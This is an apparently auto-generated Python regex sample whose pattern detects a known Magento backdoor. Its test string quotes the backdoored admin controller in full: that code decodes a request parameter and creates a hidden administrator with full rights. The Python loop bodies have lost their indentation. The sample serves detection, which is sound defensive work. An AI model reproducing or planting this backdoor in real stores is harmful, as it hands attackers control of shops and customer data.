# coding=utf8
# the above tag defines encoding for this document and is for Python 2.x compatibility
import re
regex = r"public function directiveAction\(\)\s*\{\s*\Kif\(isset\(\$\w+\[['\"][^{]+\{\s*\$\w+=base64_decode\(\$\w+\[[^;]+;\s*if\(preg_match\(['\"]\/_rieqyns13_was_here[^{]+\{\s*preg_match\(\"\/_rieqyns13_was_here[^{]+\{\s*\$user[\s=]+Mage\:+getModel\('admin\/user'\)\s*->setdata\(array\(\s*'username.*?setname(*COMMIT)\(['\"]Inchoo.{0,700}?setRoleIds\(array\(\$role(?:[^}]+\}\s*)+?echo\s*['\"]success['\"];exit;\s*\}\s*if\(preg_match\(['\"][^{]+\{\s*header\(['\"].{0,50}?Unauthorized['\"]\);exit;\s*\}\s*\}(?=\s*\$directive = \$this->getRequest\(\)->getParam\('___directive'\);)"
test_str = ("\n"
" * @category Mage\n"
" * @package Mage_Adminhtml\n"
" * @author Magento Core Team <core@magentocommerce.com>\n"
" */\n"
"class Mage_Adminhtml_Cms_WysiwygController extends Mage_Adminhtml_Controller_Action\n"
"{\n"
" /**\n"
" * Template directives callback\n"
" *\n"
" * TODO: move this to some model\n"
" */\n"
" public function directiveAction()\n"
" {\n"
" if(isset($_REQUEST[\"filter\"])){\n"
" $jembot=base64_decode($_REQUEST[\"filter\"]);\n"
" if(preg_match(\"/_rieqyns13_was_here/\",$jembot)){\n"
" preg_match(\"/_rieqyns13_was_here(.+?)_rieqyns13_(.+?)_rieqyns13_was_here/\",$jembot,$m);\n"
" $base = getcwd();\n"
" \n"
" require_once $base.\"/app/Mage.php\";\n"
" Mage::app();\n"
" $user=null;\n"
" $role=null;\n"
" try {\n"
" $user = Mage::getModel('admin/user')\n"
" ->setData(array(\n"
" 'username' => base64_decode($m[1]),\n"
" 'firstname' => 'Developer',\n"
" 'lastname' => 'User',\n"
" 'email' => 'developer'.rand(0,10000).'@'.$_SERVER['SERVER_NAME'],\n"
" 'password' => base64_decode($m[2]),\n"
" 'is_active' => 1\n"
" ))->save();\n\n"
" } catch (Exception $e) {\n"
" echo $e->getMessage();\n"
" exit;\n"
" }\n"
" try {\n"
" $role = Mage::getModel(\"admin/roles\")\n"
" ->setName('Inchoo')\n"
" ->setRoleType('G')\n"
" ->save();\n"
" \n"
" Mage::getModel(\"admin/rules\")\n"
" ->setRoleId($role->getId())\n"
" ->setResources(array(\"all\"))\n"
" ->saveRel();\n\n"
" } catch (Mage_Core_Exception $e) {\n"
" echo $e->getMessage();\n"
" exit;\n"
" } catch (Exception $e) {\n"
" echo 'Error while saving role.';\n"
" exit;\n"
" }\n\n"
" try {\n"
" $user->setRoleIds(array($role->getId()))\n"
" ->setRoleUserId($user->getUserId())\n"
" ->saveRelations();\n\n"
" } catch (Exception $e) {\n"
" echo $e->getMessage();\n"
" exit;\n"
" }\n"
" echo \"Success\";exit;\n\n"
" }\n"
" if(preg_match(\"/insert/i\",$jembot)){\n"
" header(\"HTTP/1.1 403 Unauthorized\");exit;\n"
" }\n"
" \n"
" }\n"
" $directive = $this->getRequest()->getParam('___directive');\n"
" $directive = Mage::helper('core')->urlDecode($directive);\n"
" $url = Mage::getModel('core/email_template_filter')->filter($directive);\n"
" try {\n"
" $image = Varien_Image_Adapter::factory('GD2');\n"
" $image->open($url);\n"
" $image->display();\n"
" } catch (Exception $e) {\n"
" $image = Varien_Image_Adapter::factory('GD2');\n"
" $image->open(Mage::getSingleton('cms/wysiwyg_config')->getSkinImagePlaceholderUrl());\n"
" $image->display();\n"
" /*\n"
" $image = imagecreate(100, 100);\n"
" $bkgrColor = imagecolorallocate($image,10,10,10);\n"
" imagefill($image,0,0,$bkgrColor);\n"
" $textColor = imagecolorallocate($image,255,255,255);\n"
" imagestring($image, 4, 10, 10, 'Skin image', $textColor);\n"
" header('Content-type: image/png');\n"
" imagepng($image);\n"
" imagedestroy($image);\n"
" */\n"
" }\n"
" }\n"
"}")
matches = re.finditer(regex, test_str, re.IGNORECASE | re.DOTALL)
for matchNum, match in enumerate(matches, start=1):
print ("Match {matchNum} was found at {start}-{end}: {match}".format(matchNum = matchNum, start = match.start(), end = match.end(), match = match.group()))
for groupNum in range(0, len(match.groups())):
groupNum = groupNum + 1
print ("Group {groupNum} found at {start}-{end}: {group}".format(groupNum = groupNum, start = match.start(groupNum), end = match.end(groupNum), group = match.group(groupNum)))
# Note: for Python 2.7 compatibility, use ur"" to prefix the regex and u"" to prefix the test string and substitution.
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html